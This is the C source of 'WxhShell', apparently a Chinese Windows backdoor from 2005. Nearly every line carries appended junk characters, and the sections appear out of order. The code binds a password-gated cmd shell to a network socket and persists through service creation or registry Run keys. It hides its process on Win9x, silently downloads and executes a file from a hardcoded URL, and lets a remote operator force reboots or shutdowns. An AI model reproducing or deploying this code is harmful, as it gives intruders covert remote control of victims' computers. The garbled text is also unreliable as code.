    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^xW u7q  
    if(Boot(SHUTDOWN)) }@kD&2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FKTdQg|NZ  
    else { J}Q4.1WG$  
    closesocket(wsh); *hhPCYOm  
    ExitThread(0); LL|uMe"Jb  
    } DrfOz#a0Uu  
    break; w4m -DR5  
    } 3{gD'y4j  
  // 获取shell *SW.K{{  
  case 's': { E8[{U8)[;5  
    CmdShell(wsh); K%Dksx7ow  
    closesocket(wsh); i+x$Y)=  
    ExitThread(0); F/MzrK\':m  
    break; IFrq\H0  
  } f`zH#{u  
  // 退出 3#{{+5G  
  case 'x': { Q&zEa0^rG6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {u3eel  
    CloseIt(wsh); lzJ[`i.  
    break; "pP5;*^f  
    } V-#OiMWa~  
  // 离开 AqPE.mf  
  case 'q': { T7vSp<i/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); YL(7l|^!  
    closesocket(wsh); 85>WK+=  
    WSACleanup(); i%1ny`Q  
    exit(1); 5Ocd2T'  
    break; +(v<_#wR-  
        } qH3<,s*  
  } G+k[.  
  } mN5`Fct*A>  
WD wW`  
  // 提示信息 <78]OZ] Z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t<_Jx<{2  
} _R&}CP  
  } /i$-ws-  
wzLR]<6G  
  return; v35wlt^}  
} wYZ"fusT  
%9D$N  
// shell模块句柄 eBZa 9X$  
int CmdShell(SOCKET sock) cY%[UK$l  
{ XkB^.[B  
STARTUPINFO si; 'dE G\?v9  
ZeroMemory(&si,sizeof(si)); ?\_N*NEtK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'ZyHp=RN)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q4].C|7   
PROCESS_INFORMATION ProcessInfo; tTWeOAF  
char cmdline[]="cmd"; ya!RiHj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0((3q'[ <  
  return 0; U}H2!et&,)  
} mI55vNyer  
e-$ U .cx  
// 自身启动模式 .C]V==z`[4  
int StartFromService(void) ^P5+ _P  
{ jy=dB-&  
typedef struct rgQ6/3}qc  
{ ' 0iXx   
  DWORD ExitStatus; nWTo$*>W  
  DWORD PebBaseAddress; /u9Md3q*'  
  DWORD AffinityMask; v3b[08 F  
  DWORD BasePriority; 6pkZ8Vp:  
  ULONG UniqueProcessId; 5O.dRp7d J  
  ULONG InheritedFromUniqueProcessId; ]ne&`uO  
}   PROCESS_BASIC_INFORMATION; b;wf7~a*  
"AN2K  
PROCNTQSIP NtQueryInformationProcess; %GRD3S  
|aH;@V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =@#[@Ia  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %O 5 k+~9  
txF)R[dZK  
  HANDLE             hProcess; `;[ j`v8O  
  PROCESS_BASIC_INFORMATION pbi; JCjQR`)  
uZsm=('ww  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); UlBg6   
  if(NULL == hInst ) return 0; s?;rP,{:p  
b9M.p*!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Q'f!392|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0\ G`AO;D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V=<OV]0  
Pn)^mt  
  if (!NtQueryInformationProcess) return 0; ^;J@]&[ ~  
A;e[-5@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zCrDbGvqF`  
  if(!hProcess) return 0; @@L@r6  
f wN  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ahagt9[,:F  
(!h%) _?.l  
  CloseHandle(hProcess);  &!I^m  
xkv2#"*v  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wJ_E\vP  
if(hProcess==NULL) return 0; )9~1XiS,  
SHw%u~[hu  
HMODULE hMod; sb 3l4(8g  
char procName[255]; fo63H'7  
unsigned long cbNeeded; y'(bp=Nq  
tw. 2h'D  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <ex,@{n4  
1:-^*  
  CloseHandle(hProcess); __U;fH{c  
F$ kLft[:  
if(strstr(procName,"services")) return 1; // 以服务启动 TGnyN'P|  
#q{i<E 07  
  return 0; // 注册表启动 Dp:u!tdbeg  
} =}S*]Me5  
O.7Q* ^_  
// 主模块 8'=8!V  
int StartWxhshell(LPSTR lpCmdLine) @Q:5{?  
{ NTRw:'  
  SOCKET wsl; N2yxli  
BOOL val=TRUE; =Qt08,.bW  
  int port=0; b .9]b  
  struct sockaddr_in door; {I s?>m4  
v:s.V>{"S  
  if(wscfg.ws_autoins) Install(); QcyYTg4i  
Nrl&"IK|J  
port=atoi(lpCmdLine); S>~QuCMY  
/yHM =&Vg]  
if(port<=0) port=wscfg.ws_port; lQs|B '  
bP;cDQ(g  
  WSADATA data; vkmTd4g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .lMIJN&/  
zh5{t0E}C  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   . e2qa  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Hu$]V*rAG  
  door.sin_family = AF_INET; >S /Zd  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |CME:;{T  
  door.sin_port = htons(port); lf3:Z5*&>  
#4h_(Y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !:Lb^C;/  
closesocket(wsl); 1x+Y gL5  
return 1; :0BaEqX  
} \A`pF'50  
(>m3WI$d  
  if(listen(wsl,2) == INVALID_SOCKET) { o[AQS`  
closesocket(wsl); C3fSSa%b  
return 1; ${n=1-SMU  
} x Z2 }1D  
  Wxhshell(wsl); b&uo^G,  
  WSACleanup(); n8"S;:Zm  
Va"_.8n|+  
return 0; M 7j0&>NTG  
x;NCW  
} ?'H);ou-p  
Tfc5R;Rw  
// 以NT服务方式启动 >j1\]uo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y4`<$gL   
{ >So)KB  
DWORD   status = 0;  eWO^n>Y  
  DWORD   specificError = 0xfffffff; [T', ZLR|  
ocwRU0+j  
  serviceStatus.dwServiceType     = SERVICE_WIN32; kvh}{@|-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^.Y"<oZSS  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >LxYP7M  
  serviceStatus.dwWin32ExitCode     = 0; }S6Sz&)  
  serviceStatus.dwServiceSpecificExitCode = 0; 2Mx9Kd'a r  
  serviceStatus.dwCheckPoint       = 0; Z(AI]wk3<  
  serviceStatus.dwWaitHint       = 0; 11}fPWK  
.?b2Bd!MC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .fxI)  
  if (hServiceStatusHandle==0) return; ~o`I[-g)  
-ecP@,  
status = GetLastError(); 6L~@jg~0A[  
  if (status!=NO_ERROR) _+ K[1P  
{ P[PBoRd2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >`DbT:/<  
    serviceStatus.dwCheckPoint       = 0; ]X +3"  
    serviceStatus.dwWaitHint       = 0; 5J1A|qII  
    serviceStatus.dwWin32ExitCode     = status; b7>^w<ki  
    serviceStatus.dwServiceSpecificExitCode = specificError; 07-S%L7Z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Uh}n'Xd#{}  
    return; P8.tl"q  
  } "HFS5Bj'  
+M%i3A  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; yEt:g0Z \  
  serviceStatus.dwCheckPoint       = 0; ,-Fhb~u  
  serviceStatus.dwWaitHint       = 0; i> Ssp  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  G~T]m .  
} ^GdU$%aa  
ann!"s_  
// 处理NT服务事件,比如:启动、停止 y'4H8M2?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Iw~3y{\  
{ Y?hC/ 6$7  
switch(fdwControl) 8Dpf{9Y-E  
{ ABEC{3fWpu  
case SERVICE_CONTROL_STOP: zcItZP  
  serviceStatus.dwWin32ExitCode = 0; W5?F?Dp!v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =flgKRKk.r  
  serviceStatus.dwCheckPoint   = 0; ~,yHE3B\G  
  serviceStatus.dwWaitHint     = 0; jzc/Olb  
  { H n+1I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PPT"?lt*&  
  } eSXt"t  
  return; I ,Q"<? &  
case SERVICE_CONTROL_PAUSE: >L/Rf8j&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !o &+  
  break; 9"R]"v3BA  
case SERVICE_CONTROL_CONTINUE: O!='U!X@P  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xbrxh-gV  
  break; BR\% aU$u  
case SERVICE_CONTROL_INTERROGATE: +NPk9jn  
  break; dC@aQi6{6  
}; (+>~6SE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OxX{[|!`  
} rKq/=Avv  
+4ax~fuU  
// 标准应用程序主函数 UiS9uGj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8WV1OIL  
{ Rk^Fasg"  
qVC_K/w 7  
// 获取操作系统版本 boo,KhW'Y  
OsIsNt=GetOsVer(); S{j|("W"[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H V<|eL #  
tA$,4B?  
  // 从命令行安装 AY:3o3M  
  if(strpbrk(lpCmdLine,"iI")) Install(); La? q>  
` 1DJwe2  
  // 下载执行文件 2;%DE<Z  
if(wscfg.ws_downexe) { )F&@ M;2p'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =If% m9  
  WinExec(wscfg.ws_filenam,SW_HIDE); C1P{4 U  
} {rGq|Bj  
Vn? %w~0!  
if(!OsIsNt) { )eGGA6G  
// 如果时win9x,隐藏进程并且设置为注册表启动 }GsZ)\!$4  
HideProc(); -h*Yd)  
StartWxhshell(lpCmdLine); >b,o yM  
} dN;kYWRK  
else )7=B]{B_  
  if(StartFromService()) g~.,-V}  
  // 以服务方式启动 qf+jfc(Iby  
  StartServiceCtrlDispatcher(DispatchTable); !U}A1)  
else @B ~! [l  
  // 普通方式启动 +GI[ Kq  
  StartWxhshell(lpCmdLine); pOD|  
nWN~G  
return 0; Y32F { z  
} ]>/YU*\  
!`\W8JT+  
sF]v$ kq  
y?<[g;MuT  
=========================================== VgZ<T,SuW  
Gk,{{:M:5  
PB4E_0}h  
M$-4.+G  
hxx,E>k  
ADA%$NhJ!  
" O+`^]D7  
m{!BSl  
#include <stdio.h> )V JAs|  
#include <string.h> ;|w &n  
#include <windows.h> z=!$3E ecr  
#include <winsock2.h> C!XI0d  
#include <winsvc.h> [V{JuG;s  
#include <urlmon.h> KoiU\r  
PqPLy  
#pragma comment (lib, "Ws2_32.lib") "%urT/F v&  
#pragma comment (lib, "urlmon.lib") %H>vMR-,~  
|`s}PcV  
#define MAX_USER   100 // 最大客户端连接数 P~ _CDh.N  
#define BUF_SOCK   200 // sock buffer 0{ v?  
#define KEY_BUFF   255 // 输入 buffer 9 f-T>}  
swG^L$r`  
#define REBOOT     0   // 重启 x `PIJE  
#define SHUTDOWN   1   // 关机 J[YA1  
a\vf{2  
#define DEF_PORT   5000 // 监听端口 CB_(9T72H  
:tdx:  
#define REG_LEN     16   // 注册表键长度 t2p/NIn  
#define SVC_LEN     80   // NT服务名长度 ]~8bh*,=  
>?'q P ]  
// 从dll定义API zJI/j _~W  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); tzi+A;>c(v  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); WRh&4[G'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &[*_ -  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #"ayq,GC<  
|/arxb&  
// wxhshell配置信息 aen(Mcd3bg  
struct WSCFG { IG`~^-}7lR  
  int ws_port;         // 监听端口 2P$lXGjh  
  char ws_passstr[REG_LEN]; // 口令 Cd'P  
  int ws_autoins;       // 安装标记, 1=yes 0=no ce2d)FG}e  
  char ws_regname[REG_LEN]; // 注册表键名 FO_nS   
  char ws_svcname[REG_LEN]; // 服务名 , p1 (0i  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 & /-@R|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .`Z{ptt>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 FvG9PPd  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "x9xJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" z:u`W#Rf  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $2]1 3j  
MGc=TQ.  
}; @EfCNOy  
Rt7}e09HV  
// default Wxhshell configuration *Vfas|3hZI  
struct WSCFG wscfg={DEF_PORT, z$ysp!  
    "xuhuanlingzhe", ?#}=!$p  
    1, :m8ED[9b  
    "Wxhshell", ||`w MWq  
    "Wxhshell", n#z^uq|v  
            "WxhShell Service", |GK [I  
    "Wrsky Windows CmdShell Service", ^ eM=h  
    "Please Input Your Password: ", 1GOa'bxm  
  1, lx$Y-Tb^F  
  "http://www.wrsky.com/wxhshell.exe", \^Y#"zXo1  
  "Wxhshell.exe" Ep5lm zg  
    }; vlyq2>TfR  
a47Btd'm  
// 消息定义模块 8o-?Y.2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]~WP;o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?[RG8,B  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vR,HCI  
char *msg_ws_ext="\n\rExit."; hp-< 8Mf  
char *msg_ws_end="\n\rQuit."; ,z1# |Y  
char *msg_ws_boot="\n\rReboot..."; enG6T  
char *msg_ws_poff="\n\rShutdown..."; YL){o$-N"J  
char *msg_ws_down="\n\rSave to "; G8u8&|  
N#7] xL  
char *msg_ws_err="\n\rErr!"; 3 %DA{  
char *msg_ws_ok="\n\rOK!"; [ R~+p#l+Q  
4bAgbx-^  
char ExeFile[MAX_PATH]; ,;/4E  
int nUser = 0; <g*rTqT'  
HANDLE handles[MAX_USER]; FT|*~_@  
int OsIsNt; iM8hGQ`  
rFx2 S  
SERVICE_STATUS       serviceStatus; /4_}wi\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *N>Qj-KAM_  
=7e8N&-nv  
// 函数声明 ,<EmuEw |  
int Install(void); H5&>Eny  
int Uninstall(void); GbP!l;a  
int DownloadFile(char *sURL, SOCKET wsh); /2FX"I[0V%  
int Boot(int flag); am%qlN<  
void HideProc(void); 44%H? ,d  
int GetOsVer(void); "VT5WFj  
int Wxhshell(SOCKET wsl); @lTUag'U0  
void TalkWithClient(void *cs); 7]nPWz1%*  
int CmdShell(SOCKET sock); xR_]^Get  
int StartFromService(void); >E]*5jqU  
int StartWxhshell(LPSTR lpCmdLine); g!~j Wn?A  
gKYn*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); uXhp+q\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "*7I~.7U(*  
e\yj>tQJg  
// 数据结构和表定义 @=;6:akz`  
SERVICE_TABLE_ENTRY DispatchTable[] = aNq Vs|H  
{ RLKO0 #  
{wscfg.ws_svcname, NTServiceMain}, J&3;6I &  
{NULL, NULL} 3M@>kIT8  
}; Ce:R p?  
aLsGden|  
// 自我安装 Ix(4<s  
int Install(void) dHp6G^Y  
{ k&~vVx  
  char svExeFile[MAX_PATH]; s &.Z;X  
  HKEY key; il#rdJ1@t  
  strcpy(svExeFile,ExeFile); " Y%\qw/wq  
&Mc mA  
// 如果是win9x系统,修改注册表设为自启动 _Jp_TvP>  
if(!OsIsNt) { qHKZ5w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ItRGq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'R'>`?Nh  
  RegCloseKey(key); w}YHCh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RtIc:ym  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9723f1&Vd  
  RegCloseKey(key); {>+$u"*  
  return 0; %kcg#p+tE  
    } RU{}qPs?  
  } ;zCHEz  
} TuF:m"4  
else { #-@{rgH  
JfVay I=  
// 如果是NT以上系统,安装为系统服务 <;XJ::d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yr=r? h}  
if (schSCManager!=0) VKs\b-1  
{ J BwTmOvQ  
  SC_HANDLE schService = CreateService sW]n~kTt'  
  ( V`H#|8\i  
  schSCManager, {$EXI]f  
  wscfg.ws_svcname, c3}}cFe  
  wscfg.ws_svcdisp, )F~_KD)7jJ  
  SERVICE_ALL_ACCESS, |.S;z"v![  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [%@zH  
  SERVICE_AUTO_START, cr/|dc'  
  SERVICE_ERROR_NORMAL, $bo^UYZ6  
  svExeFile, ^s?wnEo;j  
  NULL, O[`Ob6Q{F  
  NULL, >ciq4H43Q|  
  NULL, [qXpi'q[  
  NULL, 7d<v\=J}  
  NULL z=fag'fzM  
  ); -?]ltn9!  
  if (schService!=0) lvN{R{7 >  
  { oby*.61?5l  
  CloseServiceHandle(schService); ;+jp,( 7  
  CloseServiceHandle(schSCManager); {jVFlKP>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \8$`:3,@  
  strcat(svExeFile,wscfg.ws_svcname); OM.^>=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M ?3N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); kzmt'/L8  
  RegCloseKey(key); [yyV`&  
  return 0; o2|(0uN'  
    } MvW>ktkU  
  } 5^Y/RS i  
  CloseServiceHandle(schSCManager); MCCZh{uo  
} ku{aOV%  
} N\fT6#5B  
R#`itIYh  
return 1; "a g_   
} ~h@tezF  
U<t-LF3  
// 自我卸载 5_`}$"<~  
int Uninstall(void) bPOx~ CMh  
{ K+}Z6_:  
  HKEY key; (LfVa`<1  
7X|r';"?i  
if(!OsIsNt) { {#%xq]r_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y; w]u_  
  RegDeleteValue(key,wscfg.ws_regname); } -vBRY  
  RegCloseKey(key); y(dS1.5F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r#Mx~Zg~  
  RegDeleteValue(key,wscfg.ws_regname); W<4\4  
  RegCloseKey(key); 42u\Y_^ID  
  return 0; md`ToU  
  } aYgJTep>r  
} 8F * WT|]  
} wgyO%  
else { V4-=Ni]k  
`[KhG)Y7t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); TH|hrL;:8  
if (schSCManager!=0) e !yw"Cf*  
{ [1*/lt|+p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); </X"*G't  
  if (schService!=0) $imx-H`|  
  { c{Kl?0#[  
  if(DeleteService(schService)!=0) { _E;Y ~I,i  
  CloseServiceHandle(schService); r83~o/T@  
  CloseServiceHandle(schSCManager); !7oy%{L  
  return 0; Wa(S20y F  
  } ]'Yw#YB  
  CloseServiceHandle(schService); R u5&xIQ  
  } V.#8-?z  
  CloseServiceHandle(schSCManager); FT;JYkO  
} J$Epj  
} #H`y1zm  
!_) ^bRd  
return 1; 3~Ln:4[6ID  
} w#T,g9  
s]c$]&IGG  
// 从指定url下载文件 &[RU.Q!_H  
int DownloadFile(char *sURL, SOCKET wsh) 8:% R |b  
{ !d\GD8|4  
  HRESULT hr; #+ '@/5{n  
char seps[]= "/"; m3!M L>nLt  
char *token; ~N9-an  
char *file; {9".o,  
char myURL[MAX_PATH]; 0f^.zt{T  
char myFILE[MAX_PATH]; }L!`K"^O&  
^rwSbM$  
strcpy(myURL,sURL); ~-`02  
  token=strtok(myURL,seps); Bs?F*,zDJ  
  while(token!=NULL) ? 6d4T  
  { V+24-QWh  
    file=token; QNXxpoS#  
  token=strtok(NULL,seps); }NCvaO  
  } W~3tQ!  
K]8wW;N4  
GetCurrentDirectory(MAX_PATH,myFILE); mj=|oIMwT  
strcat(myFILE, "\\"); BA-nxR  
strcat(myFILE, file); 14!J\`rI  
  send(wsh,myFILE,strlen(myFILE),0); )F9r?5}v4x  
send(wsh,"...",3,0); %, et$1`g  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3+3m`%G  
  if(hr==S_OK) Ra5'x)m36)  
return 0; ~ fEs!hl  
else s RQh~5kM  
return 1; fR4l4 GU?)  
M7R&J'SAY  
} n-3j$x1Ne  
wG5RN;`V  
// 系统电源模块 kA!(}wRL  
int Boot(int flag) K<6x4ha  
{ 5iddB $  
  HANDLE hToken; 2nkj;x{H$  
  TOKEN_PRIVILEGES tkp; EAw#$Aq=  
*t{c}Y&@  
  if(OsIsNt) { a~F@3Pd  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;J-Ogt@d7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V2{#<d-T!  
    tkp.PrivilegeCount = 1; 4oV_b"xz~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <C%-IZv$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Treh{s  
if(flag==REBOOT) { !9xANSb  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /}`/i(k  
  return 0; w"agn}CK  
} / 7XdV  
else { ~e77w\Q0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) VhFRh,J(T  
  return 0; =veOVv[Q&/  
} no NF;zT  
  } AH'4H."o/9  
  else { A}bHfn|  
if(flag==REBOOT) { eD{ @0&   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8='21@wrN  
  return 0; <nTmZ-;  
} ef}E.Bl  
else { 3 9{"T0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) eM=)>zl  
  return 0; '0')6zW5s  
} >xV<nLf/  
} &rztC]jF  
R P:F<`DB|  
return 1; ]Wd`GI  
} .(7C)P{ .0  
x56 F  
// win9x进程隐藏模块 e9@fQ  
void HideProc(void) j%Z{.>mJ  
{ !N8)C@=  
zLw h6^?Y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 207O["Y  
  if ( hKernel != NULL ) j(6$7+2qN  
  { _SIs19"lR  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +GYMJK`S+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); G:c8`*5Q  
    FreeLibrary(hKernel); 8#]7`o  
  } i\Pr3 7 "  
R^yZG{?t  
return; 9MB\z"b?A  
} 6+ $d  
KtU GI.X  
// 获取操作系统版本 40Qzo%eL  
int GetOsVer(void) mE^tzyh  
{ HM@}!6/s  
  OSVERSIONINFO winfo; L);||]B  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); VyoE5o  
  GetVersionEx(&winfo); >[XOMKgQ](  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) g)9JO6]  
  return 1; Krr?`n  
  else $}^\=p}X  
  return 0; I*W9VhIOV  
} @ojg`!,  
h76NR  
// 客户端句柄模块 \'??  
int Wxhshell(SOCKET wsl) Jn<e"  
{ LPapD@Z  
  SOCKET wsh; I#S~  
  struct sockaddr_in client; !q-:rW? c  
  DWORD myID; -.b Io  
W7*_T]  
  while(nUser<MAX_USER) ^3WIl ]  
{ TDl!qp @  
  int nSize=sizeof(client); !#c[~erNZ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V5yxQb  
  if(wsh==INVALID_SOCKET) return 1; vfJ3idvo*w  
;WvYzd9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); MJ>Qq[0  
if(handles[nUser]==0) uXQ7eXX  
  closesocket(wsh); &ppE|[{  
else 7O8V1Tt  
  nUser++; /OhaERv  
  } XW UvP  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R(2HY Z  
iM?I /\  
  return 0; 2H?I'<NoC  
} }_a +X  
PTzp;.  
// 关闭 socket KH2F#[ !Lw  
void CloseIt(SOCKET wsh) Y8J ;+h9  
{ HzD>-f  
closesocket(wsh); QN5yBa!Wz  
nUser--; 1H&?UP4=(  
ExitThread(0); `z-H]fU  
} 28T\@zi  
z"6ZDC6  
// 客户端请求句柄 CJMaltPp&  
void TalkWithClient(void *cs) t+=12{9;f  
{ Ad]<e?oN=  
']d!?>C@o  
  SOCKET wsh=(SOCKET)cs; T6h;Y  
  char pwd[SVC_LEN]; 4Vu'r?  
  char cmd[KEY_BUFF]; 3 x"@**(Q  
char chr[1]; bK03 S Vx  
int i,j; lFp!XZ!  
1u"R=D9p,=  
  while (nUser < MAX_USER) { ).0V%}>  
*? K4!q'  
if(wscfg.ws_passstr) { a%7"_{s1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1<LC8?wt  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %_B:EMPd  
  //ZeroMemory(pwd,KEY_BUFF); , @%C8Z  
      i=0; vp\PYg;x  
  while(i<SVC_LEN) { v>#Cg \  
n!0${QVnS  
  // 设置超时 2Vz'n@g=  
  fd_set FdRead; M1AZ}b c0]  
  struct timeval TimeOut; :DZLjC  
  FD_ZERO(&FdRead); @9OeC O  
  FD_SET(wsh,&FdRead); M&uzOK+  
  TimeOut.tv_sec=8; GXOFk7>  
  TimeOut.tv_usec=0; YPF&U4CN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Bii6Z@kS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sg3h i"Im  
KY4d+~2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _MM   
  pwd=chr[0]; `4VO&lRm  
  if(chr[0]==0xd || chr[0]==0xa) { BN+V,W  
  pwd=0; 0s 860Kn  
  break; La`h$=#`  
  } wzD\8_;6N  
  i++; 2}^+ ]5  
    } 9 '2=  
r_4T tP&UW  
  // 如果是非法用户,关闭 socket jA4PDHf+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2Ryp@c&r^  
} uew0R;+oa  
;EK(b  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y.DwtfE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +VSZhg,Np8  
wENzlXeOP  
while(1) { \Os:6U=X-  
s{yJ:WncI  
  ZeroMemory(cmd,KEY_BUFF); 0-*Z<cu%l  
f"Ost;7zg  
      // 自动支持客户端 telnet标准   6 0`+ 9(^  
  j=0; fph-v-cl  
  while(j<KEY_BUFF) { n`P`yb\f$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T1l&B  
  cmd[j]=chr[0]; W;^N8ap%  
  if(chr[0]==0xa || chr[0]==0xd) { &(g m4bTg  
  cmd[j]=0; vGXWwQ.1Tp  
  break; g93I+  
  } @(Z( /P;:  
  j++; 6dF$?I&  
    } D ~Z=0yD  
[!^cd%l  
  // 下载文件 ows^W8-w  
  if(strstr(cmd,"http://")) { D^|jZOJ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); p?Z(rCp  
  if(DownloadFile(cmd,wsh)) 3f_i1|>)'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); / >%L[RJ4  
  else a lrt*V|=  
